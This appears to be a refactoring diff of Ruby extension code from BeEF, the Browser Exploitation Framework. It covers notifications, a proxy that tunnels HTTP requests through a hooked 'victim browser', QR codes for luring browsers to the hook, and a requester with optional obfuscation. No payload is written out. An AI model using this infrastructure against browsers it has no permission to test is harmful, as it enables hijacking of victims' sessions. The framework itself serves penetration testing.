# configure the Twitter client
|
||||
client = Twitter::REST::Client.new do |config|
|
||||
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
|
||||
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
|
||||
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
|
||||
config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret')
|
||||
end
|
||||
|
||||
begin
|
||||
client.direct_message_create(username, message)
|
||||
rescue
|
||||
print_error "Twitter send failed, verify tokens have Read/Write/DM acceess..."
|
||||
begin
|
||||
client.direct_message_create(username, message)
|
||||
rescue StandardError
|
||||
print_error 'Twitter send failed, verify tokens have Read/Write/DM acceess...'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -4,17 +4,15 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'notifications'
|
||||
@full_name = 'Notifications'
|
||||
@description = 'Generates external notifications for events in BeEF'
|
||||
|
||||
end
|
||||
end
|
||||
module Extension
|
||||
module Notifications
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'notifications'
|
||||
@full_name = 'Notifications'
|
||||
@description = 'Generates external notifications for events in BeEF'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/notifications/notifications'
|
||||
|
||||
@@ -10,49 +10,38 @@ require 'extensions/notifications/channels/pushover'
|
||||
require 'extensions/notifications/channels/slack_workspace'
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
module Extension
|
||||
module Notifications
|
||||
#
|
||||
# Notifications class
|
||||
#
|
||||
class Notifications
|
||||
def initialize(from, event, time_now, hb)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
return unless @config.get('beef.extension.notifications.enable')
|
||||
|
||||
#
|
||||
# Notifications class
|
||||
#
|
||||
class Notifications
|
||||
@from = from
|
||||
@event = event
|
||||
@time_now = time_now
|
||||
@hb = hb
|
||||
|
||||
def initialize(from, event, time_now, hb)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
if @config.get('beef.extension.notifications.enable') == false
|
||||
# notifications are not enabled
|
||||
return nil
|
||||
else
|
||||
@from = from
|
||||
@event = event
|
||||
@time_now = time_now
|
||||
@hb = hb
|
||||
end
|
||||
message = "#{from} #{event} #{time_now} #{hb}"
|
||||
|
||||
message = "#{from} #{event} #{time_now} #{hb}"
|
||||
if @config.get('beef.extension.notifications.twitter.enable') == true
|
||||
username = @config.get('beef.extension.notifications.twitter.target_username')
|
||||
BeEF::Extension::Notifications::Channels::Tweet.new(username, message)
|
||||
end
|
||||
|
||||
if @config.get('beef.extension.notifications.twitter.enable') == true
|
||||
username = @config.get('beef.extension.notifications.twitter.target_username')
|
||||
BeEF::Extension::Notifications::Channels::Tweet.new(username,message)
|
||||
end
|
||||
if @config.get('beef.extension.notifications.email.enable') == true
|
||||
to_address = @config.get('beef.extension.notifications.email.to_address')
|
||||
BeEF::Extension::Notifications::Channels::Email.new(to_address, message)
|
||||
end
|
||||
|
||||
if @config.get('beef.extension.notifications.email.enable') == true
|
||||
to_address = @config.get('beef.extension.notifications.email.to_address')
|
||||
BeEF::Extension::Notifications::Channels::Email.new(to_address,message)
|
||||
end
|
||||
BeEF::Extension::Notifications::Channels::Pushover.new(message) if @config.get('beef.extension.notifications.pushover.enable') == true
|
||||
|
||||
if @config.get('beef.extension.notifications.pushover.enable') == true
|
||||
BeEF::Extension::Notifications::Channels::Pushover.new(message)
|
||||
end
|
||||
|
||||
if @config.get('beef.extension.notifications.slack.enable') == true
|
||||
BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message)
|
||||
BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) if @config.get('beef.extension.notifications.slack.enable') == true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,17 +8,16 @@ module BeEF
|
||||
module Proxy
|
||||
module API
|
||||
module RegisterHttpHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
def self.pre_http_start(http_hook_server)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
Thread.new{
|
||||
http_hook_server.semaphore.synchronize{
|
||||
Thread.new do
|
||||
http_hook_server.semaphore.synchronize do
|
||||
BeEF::Extension::Proxy::Proxy.new
|
||||
}
|
||||
}
|
||||
end
|
||||
end
|
||||
print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
|
||||
end
|
||||
|
||||
|
||||
@@ -4,21 +4,19 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Proxy
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'proxy'
|
||||
@full_name = 'proxy'
|
||||
@description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser'
|
||||
module Extension
|
||||
module Proxy
|
||||
extend BeEF::API::Extension
|
||||
|
||||
end
|
||||
end
|
||||
@short_name = 'proxy'
|
||||
@full_name = 'proxy'
|
||||
@description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/requester/models/http'
|
||||
#require 'extensions/proxy/models/http'
|
||||
# require 'extensions/proxy/models/http'
|
||||
require 'extensions/proxy/proxy'
|
||||
require 'extensions/proxy/api'
|
||||
require 'extensions/proxy/rest/proxy'
|
||||
|
||||
@@ -9,7 +9,6 @@ module BeEF
|
||||
module Extension
|
||||
module Proxy
|
||||
class Proxy
|
||||
|
||||
HB = BeEF::Core::Models::HookedBrowser
|
||||
H = BeEF::Core::Models::Http
|
||||
@response = nil
|
||||
@@ -22,14 +21,14 @@ module BeEF
|
||||
|
||||
# setup proxy for SSL/TLS
|
||||
ssl_context = OpenSSL::SSL::SSLContext.new
|
||||
#ssl_context.ssl_version = :TLSv1_2
|
||||
# ssl_context.ssl_version = :TLSv1_2
|
||||
|
||||
# load certificate
|
||||
begin
|
||||
cert_file = @conf.get('beef.extension.proxy.cert')
|
||||
cert = File.read(cert_file)
|
||||
ssl_context.cert = OpenSSL::X509::Certificate.new(cert)
|
||||
rescue
|
||||
rescue StandardError
|
||||
print_error "[Proxy] Could not load SSL certificate '#{cert_file}'"
|
||||
end
|
||||
|
||||
@@ -38,7 +37,7 @@ module BeEF
|
||||
key_file = @conf.get('beef.extension.proxy.key')
|
||||
key = File.read(key_file)
|
||||
ssl_context.key = OpenSSL::PKey::RSA.new(key)
|
||||
rescue
|
||||
rescue StandardError
|
||||
print_error "[Proxy] Could not load SSL key '#{key_file}'"
|
||||
end
|
||||
|
||||
@@ -51,7 +50,7 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
def handle_request socket
|
||||
def handle_request(socket)
|
||||
request_line = socket.readline
|
||||
|
||||
# HTTP method # defaults to GET
|
||||
@@ -59,17 +58,15 @@ module BeEF
|
||||
|
||||
# Handle SSL requests
|
||||
url_prefix = ''
|
||||
if method == "CONNECT" then
|
||||
if method == 'CONNECT'
|
||||
# request_line is something like:
|
||||
# CONNECT example.com:443 HTTP/1.1
|
||||
host_port = request_line.split(" ")[1]
|
||||
host_port = request_line.split[1]
|
||||
proto = 'https'
|
||||
url_prefix = proto + '://' + host_port
|
||||
url_prefix = "#{proto}://#{host_port}"
|
||||
loop do
|
||||
line = socket.readline
|
||||
if line.strip.empty?
|
||||
break
|
||||
end
|
||||
break if line.strip.empty?
|
||||
end
|
||||
socket.puts("HTTP/1.0 200 Connection established\r\n\r\n")
|
||||
socket.accept
|
||||
@@ -77,13 +74,13 @@ module BeEF
|
||||
request_line = socket.readline
|
||||
end
|
||||
|
||||
method, path, version = request_line.split(" ")
|
||||
method, _path, version = request_line.split
|
||||
|
||||
# HTTP scheme/protocol # defaults to http
|
||||
proto = 'http' unless proto.eql?('https')
|
||||
|
||||
# HTTP version # defaults to 1.0
|
||||
version = 'HTTP/1.0' if version !~ /\AHTTP\/\d\.\d\z/
|
||||
version = 'HTTP/1.0' if version !~ %r{\AHTTP/\d\.\d\z}
|
||||
|
||||
# HTTP request path
|
||||
path = request_line[/^\w+\s+(\S+)/, 1]
|
||||
@@ -94,27 +91,23 @@ module BeEF
|
||||
# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors
|
||||
# when sending attack vectors (see tolerant_parser)
|
||||
# anti: somehow the config below was removed, have a look into this
|
||||
tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars"))
|
||||
tolerant_parser = URI::Parser.new(UNRESERVED: BeEF::Core::Configuration.instance.get('beef.extension.requester.uri_unreserved_chars'))
|
||||
uri = tolerant_parser.parse(url.to_s)
|
||||
|
||||
uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}"
|
||||
|
||||
# extensions/requester/api/hook.rb parses raw_request to find port and path
|
||||
raw_request = [method, uri_path_and_qs, version].join(' ') + "\r\n"
|
||||
raw_request = "#{[method, uri_path_and_qs, version].join(' ')}\r\n"
|
||||
content_length = 0
|
||||
|
||||
loop do
|
||||
line = socket.readline
|
||||
|
||||
if line =~ /^Content-Length:\s+(\d+)\s*$/
|
||||
content_length = $1.to_i
|
||||
end
|
||||
content_length = Regexp.last_match(1).to_i if line =~ /^Content-Length:\s+(\d+)\s*$/
|
||||
|
||||
if line.strip.empty?
|
||||
# read data still in the socket, exactly <content_length> bytes
|
||||
if content_length >= 0
|
||||
raw_request += "\r\n" + socket.read(content_length)
|
||||
end
|
||||
raw_request += "\r\n#{socket.read(content_length)}" if content_length >= 0
|
||||
break
|
||||
else
|
||||
raw_request += line
|
||||
@@ -124,24 +117,28 @@ module BeEF
|
||||
# Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component.
|
||||
# IDs are created and incremented automatically by DataMapper.
|
||||
http = H.new(
|
||||
:request => raw_request,
|
||||
:method => method,
|
||||
:proto => proto,
|
||||
:domain => uri.host,
|
||||
:port => uri.port,
|
||||
:path => uri_path_and_qs,
|
||||
:request_date => Time.now,
|
||||
:hooked_browser_id => self.get_tunneling_proxy,
|
||||
:allow_cross_domain => "true"
|
||||
request: raw_request,
|
||||
method: method,
|
||||
proto: proto,
|
||||
domain: uri.host,
|
||||
port: uri.port,
|
||||
path: uri_path_and_qs,
|
||||
request_date: Time.now,
|
||||
hooked_browser_id: get_tunneling_proxy,
|
||||
allow_cross_domain: 'true'
|
||||
)
|
||||
http.save
|
||||
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]")
|
||||
print_debug(
|
||||
"[PROXY] --> Forwarding request ##{http.id}: " \
|
||||
"domain[#{http.domain}:#{http.port}], " \
|
||||
"method[#{http.method}], " \
|
||||
"path[#{http.path}], " \
|
||||
"cross domain[#{http.allow_cross_domain}]"
|
||||
)
|
||||
|
||||
# Wait for the HTTP response to be stored in the db.
|
||||
# TODO: re-implement this with EventMachine or with the Observer pattern.
|
||||
while H.find(http.id).has_ran != "complete"
|
||||
sleep 0.5
|
||||
end
|
||||
sleep 0.5 while H.find(http.id).has_ran != 'complete'
|
||||
@response = H.find(http.id)
|
||||
print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed"
|
||||
|
||||
@@ -155,35 +152,37 @@ module BeEF
|
||||
# Some of the original response headers need to be removed, like encoding and cache related: for example
|
||||
# about encoding, the original response headers says that the content-length is 1000 as the response is gzipped,
|
||||
# but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way.
|
||||
response_headers = ""
|
||||
if (response_status != -1 && response_status != 0)
|
||||
ignore_headers = [
|
||||
"Content-Encoding",
|
||||
"Keep-Alive",
|
||||
"Cache-Control",
|
||||
"Vary",
|
||||
"Pragma",
|
||||
"Connection",
|
||||
"Expires",
|
||||
"Accept-Ranges",
|
||||
"Transfer-Encoding",
|
||||
"Date"]
|
||||
response_headers = ''
|
||||
if response_status != -1 && response_status != 0
|
||||
ignore_headers = %w[
|
||||
Content-Encoding
|
||||
Keep-Alive
|
||||
Cache-Control
|
||||
Vary
|
||||
Pragma
|
||||
Connection
|
||||
Expires
|
||||
Accept-Ranges
|
||||
Transfer-Encoding
|
||||
Date
|
||||
]
|
||||
headers.each_line do |line|
|
||||
# stripping the Encoding, Cache and other headers
|
||||
header_key = line.split(': ')[0]
|
||||
header_value = line.split(': ')[1]
|
||||
next if header_key.nil?
|
||||
next if ignore_headers.any?{ |h| h.casecmp(header_key) == 0 }
|
||||
if header_value.nil?
|
||||
#headers_hash[header_key] = ""
|
||||
else
|
||||
# update Content-Length with the valid one
|
||||
if header_key == "Content-Length"
|
||||
response_headers += "Content-Length: #{response_body.size}\r\n"
|
||||
else
|
||||
response_headers += line
|
||||
end
|
||||
next if ignore_headers.any? { |h| h.casecmp(header_key).zero? }
|
||||
|
||||
# ignore headers with no value (@todo: why?)
|
||||
next if header_value.nil?
|
||||
|
||||
unless header_key == 'Content-Length'
|
||||
response_headers += line
|
||||
next
|
||||
end
|
||||
|
||||
# update Content-Length with the valid one
|
||||
response_headers += "Content-Length: #{response_body.size}\r\n"
|
||||
end
|
||||
end
|
||||
|
||||
@@ -193,10 +192,8 @@ module BeEF
|
||||
end
|
||||
|
||||
def get_tunneling_proxy
|
||||
proxy_browser = HB.where(:is_proxy => true).first
|
||||
unless proxy_browser.nil?
|
||||
return proxy_browser.session.to_s
|
||||
end
|
||||
proxy_browser = HB.where(is_proxy: true).first
|
||||
return proxy_browser.session.to_s unless proxy_browser.nil?
|
||||
|
||||
hooked_browser = HB.first
|
||||
unless hooked_browser.nil?
|
||||
@@ -211,4 +208,3 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -6,10 +6,8 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module Proxy
|
||||
|
||||
# This class handles the routing of RESTful API requests for the proxy
|
||||
class ProxyRest < BeEF::Core::Router::Router
|
||||
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@@ -27,68 +25,58 @@ module BeEF
|
||||
|
||||
# Use a specified hooked browser as proxy
|
||||
post '/setTargetZombie' do
|
||||
begin
|
||||
body = JSON.parse(request.body.read)
|
||||
hb_id = body['hb_id']
|
||||
body = JSON.parse(request.body.read)
|
||||
hb_id = body['hb_id']
|
||||
|
||||
result = {}
|
||||
result['success'] = false
|
||||
return result.to_json if hb_id.nil?
|
||||
result = {}
|
||||
result['success'] = false
|
||||
return result.to_json if hb_id.nil?
|
||||
|
||||
hooked_browser = @hb.where(:session => hb_id).first
|
||||
previous_proxy_hb = @hb.where(:is_proxy => true).first
|
||||
hooked_browser = @hb.where(session: hb_id).first
|
||||
previous_proxy_hb = @hb.where(is_proxy: true).first
|
||||
|
||||
# if another HB is currently set as tunneling proxy, unset it
|
||||
unless previous_proxy_hb.nil?
|
||||
previous_proxy_hb.update(:is_proxy => false)
|
||||
print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy")
|
||||
end
|
||||
|
||||
# set the HB requested in /setTargetProxy as Tunneling Proxy
|
||||
unless hooked_browser.nil?
|
||||
hooked_browser.update(:is_proxy => true)
|
||||
print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy")
|
||||
result['success'] = true
|
||||
end
|
||||
|
||||
result.to_json
|
||||
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error setting browser as proxy (#{e.message})"
|
||||
halt 500
|
||||
# if another HB is currently set as tunneling proxy, unset it
|
||||
unless previous_proxy_hb.nil?
|
||||
previous_proxy_hb.update(is_proxy: false)
|
||||
print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy")
|
||||
end
|
||||
|
||||
# set the HB requested in /setTargetProxy as Tunneling Proxy
|
||||
unless hooked_browser.nil?
|
||||
hooked_browser.update(is_proxy: true)
|
||||
print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy")
|
||||
result['success'] = true
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error setting browser as proxy (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/proxy handler.
|
||||
class InvalidJsonError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'.freeze
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/proxy handler.
|
||||
class InvalidParamError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'.freeze
|
||||
|
||||
def initialize(message = nil)
|
||||
str = "Invalid \"%s\" parameter passed to /api/proxy handler"
|
||||
message = sprintf str, message unless message.nil?
|
||||
str = 'Invalid "%s" parameter passed to /api/proxy handler'
|
||||
message = format str, message unless message.nil?
|
||||
super(message)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,17 +4,15 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Qrcode
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'qrcode'
|
||||
@full_name = 'QR Code Generator'
|
||||
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
|
||||
module Extension
|
||||
module Qrcode
|
||||
extend BeEF::API::Extension
|
||||
|
||||
end
|
||||
end
|
||||
@short_name = 'qrcode'
|
||||
@full_name = 'QR Code Generator'
|
||||
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/qrcode/qrcode'
|
||||
|
||||
@@ -4,88 +4,89 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Qrcode
|
||||
module Extension
|
||||
module Qrcode
|
||||
module QrcodeGenerator
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start')
|
||||
|
||||
module QrcodeGenerator
|
||||
def self.pre_http_start(_http_hook_server)
|
||||
require 'uri'
|
||||
require 'qr4r'
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start')
|
||||
|
||||
def self.pre_http_start(http_hook_server)
|
||||
require 'uri'
|
||||
require 'qr4r'
|
||||
fullurls = []
|
||||
|
||||
fullurls = []
|
||||
# get server config
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
beef_proto = configuration.beef_proto
|
||||
beef_host = configuration.beef_host
|
||||
beef_port = configuration.beef_port
|
||||
|
||||
# get server config
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
beef_proto = configuration.beef_proto
|
||||
beef_host = configuration.beef_host
|
||||
beef_port = configuration.beef_port
|
||||
# get URLs from QR config
|
||||
configuration.get('beef.extension.qrcode.targets').each do |target|
|
||||
# absolute URLs
|
||||
if target.lines.grep(%r{^https?://}i).size.positive?
|
||||
fullurls << target
|
||||
# relative URLs
|
||||
else
|
||||
# network interfaces
|
||||
BeEF::Core::Console::Banners.interfaces.each do |int|
|
||||
next if int == '0.0.0.0'
|
||||
|
||||
# get URLs from QR config
|
||||
configuration.get("beef.extension.qrcode.targets").each do |target|
|
||||
# absolute URLs
|
||||
if target.lines.grep(/^https?:\/\//i).size > 0
|
||||
fullurls << target
|
||||
# relative URLs
|
||||
else
|
||||
# network interfaces
|
||||
BeEF::Core::Console::Banners.interfaces.each do |int|
|
||||
next if int == "0.0.0.0"
|
||||
fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
|
||||
fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
|
||||
end
|
||||
# beef host
|
||||
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}" unless beef_host == '0.0.0.0'
|
||||
end
|
||||
end
|
||||
# beef host
|
||||
unless beef_host == "0.0.0.0"
|
||||
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
unless fullurls.empty?
|
||||
img_dir = 'extensions/qrcode/images'
|
||||
begin
|
||||
Dir.mkdir(img_dir) unless File.directory?(img_dir)
|
||||
rescue
|
||||
print_error "[QR] Could not create directory '#{img_dir}'"
|
||||
end
|
||||
data = ''
|
||||
fullurls.uniq.each do |target|
|
||||
fname = ('a'..'z').to_a.shuffle[0,8].join
|
||||
qr_path = "#{img_dir}/#{fname}.png"
|
||||
return unless fullurls.empty?
|
||||
|
||||
img_dir = 'extensions/qrcode/images'
|
||||
begin
|
||||
qr = Qr4r::encode(
|
||||
target, qr_path, {
|
||||
:pixel_size => configuration.get("beef.extension.qrcode.qrsize"),
|
||||
:border => configuration.get("beef.extension.qrcode.qrborder")
|
||||
})
|
||||
rescue
|
||||
print_error "[QR] Could not write file '#{qr_path}'"
|
||||
next
|
||||
Dir.mkdir(img_dir) unless File.directory?(img_dir)
|
||||
rescue StandardError
|
||||
print_error "[QR] Could not create directory '#{img_dir}'"
|
||||
end
|
||||
print_debug "[QR] Wrote file '#{qr_path}'"
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||
"/#{qr_path}", "/qrcode/#{fname}", 'png')
|
||||
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
|
||||
data += "- URL: #{target}\n"
|
||||
# Google API
|
||||
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
#data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
|
||||
# QRServer.com
|
||||
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
#data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
|
||||
end
|
||||
print_info "QR code images available:"
|
||||
print_more data
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
data = ''
|
||||
fullurls.uniq.each do |target|
|
||||
fname = ('a'..'z').to_a.sample(8).join
|
||||
qr_path = "#{img_dir}/#{fname}.png"
|
||||
begin
|
||||
Qr4r.encode(
|
||||
target, qr_path, {
|
||||
pixel_size: configuration.get('beef.extension.qrcode.qrsize'),
|
||||
border: configuration.get('beef.extension.qrcode.qrborder')
|
||||
}
|
||||
)
|
||||
rescue StandardError
|
||||
print_error "[QR] Could not write file '#{qr_path}'"
|
||||
next
|
||||
end
|
||||
|
||||
print_debug "[QR] Wrote file '#{qr_path}'"
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||
"/#{qr_path}", "/qrcode/#{fname}", 'png'
|
||||
)
|
||||
|
||||
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
|
||||
data += "- URL: #{target}\n"
|
||||
# Google API
|
||||
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
# data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
|
||||
# QRServer.com
|
||||
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||
# data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
|
||||
end
|
||||
|
||||
print_info 'QR code images available:'
|
||||
print_more data
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,25 +4,25 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Requester
|
||||
module RegisterHttpHandler
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
|
||||
beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new)
|
||||
end
|
||||
end
|
||||
module Extension
|
||||
module Requester
|
||||
module RegisterHttpHandler
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
module RegisterPreHookCallback
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
|
||||
beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new)
|
||||
end
|
||||
end
|
||||
|
||||
def self.pre_hook_send(hooked_browser, body, params, request, response)
|
||||
dhook = BeEF::Extension::Requester::API::Hook.new
|
||||
dhook.requester_run(hooked_browser, body)
|
||||
module RegisterPreHookCallback
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
|
||||
|
||||
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
|
||||
dhook = BeEF::Extension::Requester::API::Hook.new
|
||||
dhook.requester_run(hooked_browser, body)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,10 +8,8 @@ module BeEF
|
||||
module Extension
|
||||
module Requester
|
||||
module API
|
||||
|
||||
require 'uri'
|
||||
class Hook
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
|
||||
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
|
||||
@@ -21,33 +19,30 @@ module BeEF
|
||||
# Generate all the requests and output them to the hooked browser
|
||||
output = []
|
||||
print_debug hb.to_json
|
||||
BeEF::Core::Models::Http.where(:hooked_browser_id => hb.session, :has_ran => "waiting").each { |h|
|
||||
output << self.requester_parse_db_request(h)
|
||||
}
|
||||
BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|
|
||||
output << requester_parse_db_request(h)
|
||||
end
|
||||
|
||||
|
||||
return if output.empty?
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
end
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')
|
||||
|
||||
|
||||
# todo antisnatchor: prevent sending "content" multiple times.
|
||||
# TODO: antisnatchor: prevent sending "content" multiple times.
|
||||
# Better leaving it after the first run, and don't send it again.
|
||||
# todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||
|
||||
# If we use WebSockets, just reply wih the component contents
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
||||
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
|
||||
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
|
||||
content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file \'doc/COPYING\' for copying permission
|
||||
//', "")
|
||||
//', '')
|
||||
add_to_body output
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
if config.get('beef.extension.evasion.enable')
|
||||
ws.send(evasion.obfuscate(content) + @body, hb.session)
|
||||
else
|
||||
ws.send(content + @body, hb.session)
|
||||
@@ -64,7 +59,7 @@ module BeEF
|
||||
def add_to_body(output)
|
||||
config = BeEF::Core::Configuration.instance
